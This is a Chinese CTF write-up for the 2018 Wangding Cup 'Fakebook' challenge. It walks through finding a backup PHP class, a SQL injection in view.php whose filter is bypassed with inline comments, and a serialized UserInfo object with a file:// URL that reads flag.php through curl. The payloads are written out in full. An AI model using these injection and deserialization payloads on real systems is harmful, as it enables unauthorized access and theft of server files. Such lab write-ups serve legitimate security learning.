[网鼎杯 2018]Fakebook

使用字典进行目录扫描,发现robots.txt和flag.php文件

 

 

 访问robots.txt,发现备份文件

备份文件内容为

 1 <?php
 2 
 3 class UserInfo
 4 {
 5     public $name = "";
 6     public $age = 0;
 7     public $blog = "";
 8 
 9     public function __construct($name, $age, $blog)
10     {
11         $this->name = $name;
12         $this->age = (int)$age;
13         $this->blog = $blog;
14     }
15 
16     function get($url)
17     {
18         $ch = curl_init();
19 
20         curl_setopt($ch, CURLOPT_URL, $url);
21         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
22         $output = curl_exec($ch);
23         $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
24         if($httpCode == 404) {
25             return 404;
26         }
27         curl_close($ch);
28 
29         return $output;
30     }
31 
32     public function getBlogContents ()
33     {
34         return $this->get($this->blog);
35     }
36 
37     public function isValidBlog ()
38     {
39         $blog = $this->blog;
40         return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
41     }
42 
43 }

注册一个用户,在表格中点击注册的用户,发现URL疑似注入

http://3a6666ac-cd47-4536-87ff-f783e0168c84.node3.buuoj.cn/view.php?no=1

使用单引号进行闭合,网页报错,说明存在注入

判断字段数

http://3a6666ac-cd47-4536-87ff-f783e0168c84.node3.buuoj.cn/view.php?no=-1 union select 1,2,3,4

 

 

union select被过滤,尝试使用内联注释进行绕过

http://3a6666ac-cd47-4536-87ff-f783e0168c84.node3.buuoj.cn/view.php?no=-1/*!union*//*!select*/1,2,3,4

后面的操作都是常规注入,最后注入得到的数据尽然是自己添加的数据

 

 

 冷静下来后,发现union select时,页面有unserialize函数出现

 

 

那么可以联想到后端从数据库中取出数据,然后将数据反序列化后显示在前台页面上,报错的绝对路径为/var/www/html/,那么flag就位于/var/www/html/flag.php

我们将UserInfo类序列化的结果输出,在构造函数中将blog参数赋值为file:///var/www/html/flag.php,构造file文件协议读取服务器上的flag.php文件

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
}
$userinfo = new UserInfo("user",18,"file:///var/www/html/flag.php");
echo serialize($userinfo);

结果输出为:

O:8:"UserInfo":3:{s:4:"name";s:4:"user";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

然后在注入点赋值序列化的结果,反序列化时就会读取flag.php文件

http://14eab04c-f0b7-47be-997b-0a935abc8d95.node3.buuoj.cn/view.php?no=-1/*!union*//*!select*/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"user";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看源代码

 

点击src后便获取到flag 

 

 

posted @ 2020-07-02 10:13  GTX690M  阅读(209)  评论(0编辑  收藏  举报